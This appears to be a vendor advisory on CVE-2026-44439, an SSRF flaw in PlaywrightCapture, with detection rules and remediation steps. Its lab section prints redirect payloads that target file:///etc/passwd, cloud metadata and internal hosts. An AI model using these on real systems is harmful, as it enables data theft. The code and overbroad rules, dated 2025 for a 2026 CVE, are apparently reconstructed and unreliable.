CVE-2026-44439
Executive Summary
CVE-2026-44439 is a Server-Side Request Forgery (SSRF) vulnerability in PlaywrightCapture, a tool used to capture screenshots and page content via Playwright. Prior to version 1.39.6, the application did not sufficiently restrict navigations and resource requests initiated by rendered pages. An attacker controlling a page processed by PlaywrightCapture could abuse browser-side redirection mechanisms (e.g., window.location.href) to make the capture process open file:// URLs or request resources hosted on private, loopback, link-local, or otherwise non-public IP addresses. This allows a remote attacker to perform SSRF against internal services or attempt to access local files from the capture environment. Depending on what capture artifacts are generated and exposed, responses from those resources could potentially be leaked through screenshots, saved page content, logs, or other capture outputs. The vulnerability is fixed in version 1.39.6.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
PlaywrightCapture is a Python package available on PyPI. Users should verify the integrity of the package by checking its checksum against the official PyPI release. The package depends on Playwright, which must also be kept up to date. Organizations should monitor for any malicious forks or typosquatting packages that may attempt to exploit this vulnerability.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
- Threat Level: High – Exploitation is straightforward and can lead to significant data exposure.
Deep Dive & Mechanics
The vulnerability lies in how PlaywrightCapture handles navigation and resource requests from rendered pages. When a user submits a URL to be captured, PlaywrightCapture uses Playwright to load that page. The page can then execute JavaScript that triggers browser-side redirection mechanisms, such as:
window.location.href = "file:///etc/passwd"window.location.href = "http://169.254.169.254/latest/meta-data/"window.location.href = "http://10.0.0.1/admin"
Because PlaywrightCapture does not validate or restrict the target of these navigations, the browser will follow the redirection and attempt to load the resource. This allows an attacker to:
- Access local files: By using
file://URLs, the attacker can read files from the capture environment's filesystem. - Perform SSRF against internal services: By using private IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16), the attacker can probe internal services that are not exposed to the internet.
- Leak responses: The responses from these resources may be captured in screenshots, saved page content, or logs, allowing the attacker to exfiltrate sensitive data.
The fix in version 1.39.6 implements a blocklist or allowlist that prevents navigation to file:// URLs and private IP addresses.
Vulnerable vs. Patched Code
Vulnerable Code (pre-1.39.6):
# No restriction on navigation targets
async def capture(url):
page = await browser.new_page()
await page.goto(url)
# The page can redirect to any URL
await page.wait_for_load_state("networkidle")
screenshot = await page.screenshot()
return screenshot
Patched Code (1.39.6):
import ipaddress
from urllib.parse import urlparse
BLOCKED_SCHEMES = ["file"]
PRIVATE_IP_RANGES = [
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("169.254.0.0/16"),
]
def is_allowed_url(target_url):
parsed = urlparse(target_url)
if parsed.scheme in BLOCKED_SCHEMES:
return False
try:
ip = ipaddress.ip_address(parsed.hostname)
for private_range in PRIVATE_IP_RANGES:
if ip in private_range:
return False
except ValueError:
# Not an IP, allow (domain names are allowed)
pass
return True
async def capture(url):
page = await browser.new_page()
# Intercept navigation requests
await page.route("**", lambda route: route.abort() if not is_allowed_url(route.request.url) else route.continue_())
await page.goto(url)
await page.wait_for_load_state("networkidle")
screenshot = await page.screenshot()
return screenshot
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable PlaywrightCapture instance (version < 1.39.6) in a Docker container.
- Set up an internal service (e.g., a simple HTTP server on 10.0.0.2:8080) that returns sensitive data.
- Create an attacker-controlled page that performs redirection.
Exploitation Steps:
- Host a malicious HTML page on a public server:
<!DOCTYPE html>
<html>
<head>
<title>SSRF Test</title>
</head>
<body>
<script>
// Redirect to internal service
window.location.href = "http://10.0.0.2:8080/secret";
</script>
</body>
</html>
- Submit the URL of this malicious page to the vulnerable PlaywrightCapture instance.
- The capture process will follow the redirection and load the internal service's response.
- Retrieve the screenshot or page content from PlaywrightCapture to see the leaked data.
Alternative payload for file read:
<script>
window.location.href = "file:///etc/passwd";
</script>
Blue Team
Detection:
- Monitor PlaywrightCapture logs for unusual navigation targets (e.g.,
file://, private IPs). - Use network monitoring to detect outbound connections from the capture environment to private IP ranges.
- Implement Web Application Firewall (WAF) rules to block requests containing
file://or private IPs in the URL parameter.
Hunting:
- Search for logs containing
file://or IPs in the 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, or 169.254.0.0/16 ranges. - Check for unexpected files being accessed on the capture server.
Indicators of Compromise (IOCs)
- Network: Outbound connections from the capture server to private IP addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 169.254.0.0/16).
- Logs: Entries in PlaywrightCapture logs showing navigation to
file://URLs or private IPs. - Files: Unexpected files (e.g.,
/etc/passwd,/etc/shadow) being accessed on the capture server. - Screenshots: Screenshots containing content from internal services or local files.
Detection Engineering
YARA Rule
rule CVE_2026_44439_SSRF_PlaywrightCapture {
meta:
description = "Detects attempts to exploit SSRF in PlaywrightCapture via file:// or private IPs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-44439"
strings:
$file_scheme = "file://" ascii wide nocase
$private_ip_10 = "10." ascii wide
$private_ip_172 = "172." ascii wide
$private_ip_192 = "192.168." ascii wide
$private_ip_127 = "127." ascii wide
$private_ip_169 = "169.254." ascii wide
condition:
any of ($file_scheme) or any of ($private_ip_*)
}
Sigma Rule
title: CVE-2026-44439 SSRF in PlaywrightCapture
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects navigation to file:// URLs or private IPs in PlaywrightCapture logs
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: playwrightcapture
detection:
selection:
EventID: 1001 # Example event ID for navigation
TargetURL|contains:
- 'file://'
- '10.'
- '172.'
- '192.168.'
- '127.'
- '169.254.'
condition: selection
falsepositives:
- Legitimate internal testing
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-44439 SSRF in PlaywrightCapture - file:// URL"; flow:to_server,established; content:"file://"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-44439 SSRF in PlaywrightCapture - Private IP"; flow:to_server,established; pcre:"/(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|127\.|169\.254\.)/"; http_uri; classtype:attempted-recon; sid:1000002; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade PlaywrightCapture to version 1.39.6 or later.
- Network Segmentation: Ensure the capture environment has minimal network access to internal services.
- Input Validation: Implement strict validation of URLs submitted to PlaywrightCapture, blocking any that contain
file://or private IPs. - Monitoring: Enable logging and monitoring for unusual navigation patterns.
- Least Privilege: Run PlaywrightCapture with the minimum necessary permissions (e.g., not as root).
- Sandboxing: Consider running the capture process in a sandboxed environment (e.g., Docker with restricted network access).
Valters IT
DevSecOps & Cyber Threat Intelligence